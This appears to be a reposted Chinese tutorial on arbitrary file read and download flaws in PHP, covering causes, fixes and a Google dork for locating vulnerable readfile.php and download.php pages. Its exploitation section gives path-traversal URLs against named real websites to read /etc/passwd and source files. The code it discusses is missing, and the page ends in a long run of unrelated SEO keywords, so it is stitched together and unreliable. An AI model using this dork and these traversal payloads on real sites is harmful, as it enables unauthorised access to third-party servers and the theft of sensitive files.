任意文件读取与下载
发表于:2024-11-17 作者:千家信息网编辑
千家信息网最后更新 2024年11月17日,0x00 背景介绍一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等0x01 文件读取文件读取在PHP这种可以
千家信息网最后更新 2024年11月17日任意文件读取与下载
0x00 背景介绍
一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等
0x01 文件读取
文件读取在PHP这种可以有很多种方式实现,在web的默认情况下,$filename变量可能用户可控
#当变量 $filename 没有经过校验,或者校验不严格,用户可以控制这个变量读取任意文件,例如/etc/passwd、/config.ini 等文件
0x02 实现文件下载的两种方式
1.直接下载:
2.增加header头
当$filename没有经过校验,或者校验不合格,用户可以控制这个变量下载任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下载漏洞。
0x03 成因
都有读取文件的函数
读物文件的路径用户可控,且没有经过校验,或者校验不严格
都输出文件内容
0x04 Google Serch
inurl:"readfile.php?file="inurl:"download.php?file="
0x05 修复方案
过滤<.>(点)
正则判断用户输入的参数格式,匹配输入的格式是否合格
php.ini配置open_basedir
0x06 实例漏洞利用
(仅供测试,请勿随意破坏)
地址:
url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt
漏洞利用:
http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd
地址:
url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf
漏洞利用
http://www.wodehouse.se/upload/readfile.php?file=../index.php
文件
用户
变量
漏洞
地址
文件下载
方式
格式
控制
输入
业务
内容
函数
功能
参数
实例
情况
成因
方案
正则
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
计算机网络技术职业之星
计算机网络技术高中学好什么
数据库一般被用于
网络安全防护前沿科技
百晓通客栈网络安全技术
网络安全现场检查报道稿
江阴中科曙光服务器维修点
阿里云服务器window
业余软件开发培训计划
深圳口碑好的网络技术包括什么
网络安全防护知识导图
上海乐客网络技术有限公司
老头环服务器无法登录
永恒之塔选择服务器时进不去
珠海专业服务器散热器定做
选择服务器注意什么
河北网络技术咨询价值
中美网络安全观
数据库服务器类别
中财广义智成财富网络技术
一年一度网络安全宣传周
外置数据中心服务器
互联网高科技公司名字
清华大学软件开发专业
用什么数据库好
工业网络技术专业 物联网
南京道道道网络技术
全球互联网科技动态
男朋友搞软件开发的
搭建测试环境数据库是空的吗